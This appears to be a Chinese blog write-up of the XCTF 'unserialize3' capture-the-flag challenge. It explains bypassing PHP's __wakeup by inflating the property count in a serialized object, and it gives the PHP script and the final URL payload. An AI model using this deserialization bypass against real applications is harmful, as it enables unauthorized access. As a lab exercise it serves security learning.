攻防世界-unserialize3

最新推荐文章于 2024-07-14 22:28:13 发布

r1ng_x

最新推荐文章于 2024-07-14 22:28:13 发布

阅读量1k

点赞数 1

分类专栏： wp 文章标签： web安全安全

本文链接：https://blog.csdn.net/weixin_62608816/article/details/125768147

版权

1 篇文章 0 订阅

订阅专栏

得到源码

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

这是一个利用反序列字符串来进行绕过的题，根据提示我们要构造code参数，但是需要绕过wakeup函数

查找资料得知wakeup为魔法函数，在进行unserialize反序列化的时候，首先就要查看有无该函数有的话 就会先执行他：

绕过： 通过测试发现可以通过增加对象的属性个数来进行绕过，根据源码编辑php脚本输出序列化字符串：

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$c = new xctf();
print(serialize($c));

?>

将对象属性由1变为2得到**

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

由此可以构造payload

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

拿到flag：

r1ng_x

关注